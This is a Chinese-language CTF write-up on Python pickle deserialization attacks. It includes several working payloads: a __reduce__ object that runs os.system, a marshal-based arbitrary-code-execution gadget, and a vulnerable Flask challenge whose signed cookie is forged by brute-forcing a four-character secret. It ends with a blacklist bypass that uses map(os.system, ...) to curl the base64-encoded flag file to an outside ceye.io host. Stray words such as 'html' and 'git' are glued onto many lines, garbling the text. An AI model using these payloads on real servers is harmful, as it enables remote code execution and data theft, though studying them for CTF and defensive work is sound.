1.python pickle反序列化漏洞html
本身的理解:python
因爲在類的__reduce__方法中提供了咱們能夠自定義程序如何去解序列化的方法,所以若是應用程序接受了不可信任的序列化的數據,那麼就可能致使安全問題。git
import pickle import os class gen(object): def __reduce__(self): s = """dir""" return os.system, (s,) p = gen() payload = pickle.dumps(p) with open('payload.pkl', 'wb') as f: f.write(payload)
以上這段代碼中,要調用os模塊的system函數來執行dir命令,其中reduce函數中的返回值中須要定義的有要調用的函數,須要傳給函數的參數(以元組的形式給出);flask
接着只須要將該對象實例化後再序列化便可安全
import pickle
'''
some code
''' pickle.load(open('./payload.pkl'))
'''
some code
'''
假設以上這段代碼是服務器端處理反序列數據的時候的操做,其中沒有將要調用的對象函數進行過濾,而是直接進行解序列化,致使代碼執行 os.system("dir") 。服務器
2.pickle任意代碼執行cookie
import marshal import base64 def foo(): pass # Your code here print """ctypes FunctionType (cmarshal loads (cbase64 b64decode (S'%s' tRtRc__builtin__ globals (tRS'' tR(tR.""" % base64.b64encode(marshal.dumps(foo.func_code))
咱們只須要在foo函數中寫上須要執行的代碼便可。session
code_str = base64.b64decode(code_enc) code = marshal.loads(code_str) func = types.FunctionType(code, globals(), '') func()
執行以上函數即可以觸發任意代碼執行漏洞app
from __future__ import unicode_literals from flask import Flask, request, make_response, redirect, url_for, session from flask import render_template, flash, redirect, url_for, request from werkzeug.security import safe_str_cmp from base64 import b64decode as b64d from base64 import b64encode as b64e from hashlib import sha256 from cStringIO import StringIO import random import string import os import sys import subprocess import commands import pickle import cPickle import marshal import os.path import filecmp import glob import linecache import shutil import dircache import io import timeit import popen2 import code import codeop import pty import posixfile SECRET_KEY = 'you will never guess' if not os.path.exists('.secret'): with open(".secret", "w") as f: secret = ''.join(random.choice(string.ascii_letters + string.digits) for x in range(4)) f.write(secret) with open(".secret", "r") as f: cookie_secret = f.read().strip() app = Flask(__name__) app.config.from_object(__name__) black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen] @app.before_request def count(): session['cnt'] = 0 @app.route('/') def home(): remembered_str = 'Hello, here\'s what we remember for you. And you can change, delete or extend it.' new_str = 'Hello fellow zombie, have you found a tasty brain and want to remember where? Go right here and enter it:' location = getlocation() if location == False: return redirect(url_for("clear")) return render_template('index.html', txt=remembered_str, location=location) @app.route('/clear') def clear(): print("Reminder cleared!") response = redirect(url_for('home')) response.set_cookie('location', max_age=0) return response @app.route('/reminder', methods=['POST', 'GET']) def reminder(): if request.method == 'POST': location = request.form["reminder"] if location == '': print("Message cleared, tell us when you have found more brains.") else: print("We will remember where you find your brains.") location = b64e(pickle.dumps(location)) cookie = make_cookie(location, cookie_secret) response = redirect(url_for('home')) response.set_cookie('location', cookie) print 'location' return response location = getlocation() if location == False: return redirect(url_for("clear")) return render_template('reminder.html') class FilterException(Exception): def __init__(self, value): super(FilterException, self).__init__( 'The callable object {value} is not allowed'.format(value=str(value))) class TimesException(Exception): def __init__(self): super(TimesException, self).__init__( 'Call func too many times!') def _hook_call(func): def wrapper(*args, **kwargs): session['cnt'] += 1 print session['cnt'] print args[0].stack for i in args[0].stack: if i in black_type_list: raise FilterException(args[0].stack[-2]) if session['cnt'] > 4: raise TimesException() return func(*args, **kwargs) return wrapper def loads(strs): reload(pickle) files = StringIO(strs) unpkler = pickle.Unpickler(files) print strs,files,unpkler unpkler.dispatch[pickle.REDUCE] = _hook_call( unpkler.dispatch[pickle.REDUCE]) return unpkler.load() def getlocation(): cookie = request.cookies.get('location') if not cookie: return '' (digest, location) = cookie.split("!") print (digest, location),calc_digest(location, cookie_secret) if not safe_str_cmp(calc_digest(location, cookie_secret), digest): print("Hey! This is not a valid cookie! Leave me alone.") return False location = loads(b64d(location)) return location def make_cookie(location, secret): return "%s!%s" % (calc_digest(location, secret), location) def calc_digest(location, secret): return sha256("%s%s" % (location, secret)).hexdigest() if __name__ == '__main__': app.run(host="0.0.0.0", port=5051)
以上面這道ctf題目爲例子,能夠看到當咱們訪問reminder頁面時(post方法),首先會獲取http頭部的location屬性,而後通過pickle序列化並進行base64編碼,而後調用make_cookie函數用爲用戶設置cookie值,而後跳轉到home頁面dom
location = b64e(pickle.dumps(location)) cookie = make_cookie(location, cookie_secret) response = redirect(url_for('home')) response.set_cookie('location', cookie)
當咱們以get方法訪問remainder頁面時,此時調用getlocation()
def getlocation(): cookie = request.cookies.get('location') if not cookie: return '' (digest, location) = cookie.split("!") print (digest, location),calc_digest(location, cookie_secret) if not safe_str_cmp(calc_digest(location, cookie_secret), digest): print("Hey! This is not a valid cookie! Leave me alone.") return False location = loads(b64d(location)) return location
此時從cookie中獲取location的值,此時會將location的值和密碼再進行計算hash而後和從用戶處得到的hash值進行比較,若是二者相同的話則說明身份正確。
因爲咱們是提早不知道密鑰的值,而且已知密鑰的長度爲4,而且location是可控的,那麼首先將payload經過post方法到remainder頁面之後將會得到一個location的cookie值,此時包含了通過hash的密鑰和location,又由於location是咱們
已知的,因此能夠在本地爆破四位密鑰,由於咱們最終要利用的是loads函數,它要接收的是一個經pickle序列化後的對象,因此咱們必須在本地構造好cookie,因此才須要爆破密鑰的值。
所以,構造一個任意的location,就能獲得一個hash值,而後通過爆破之後獲得密鑰指,而後把payload的base64的值和密鑰值hash之後組成cookie值get到readminer頁面,觸發序列化漏洞。
這裏由於有黑名單過濾,因此可使用map函數繞過
class Test(object): def __init__(self): self.a = 1 self.b = '2' self.c = '3' def __reduce__(self): return map,(os.system,["curl h7x7ty.ceye.io/`cat /flag_is_here|base64`"]) aa = Test() payload = b64e(pickle.dumps(aa))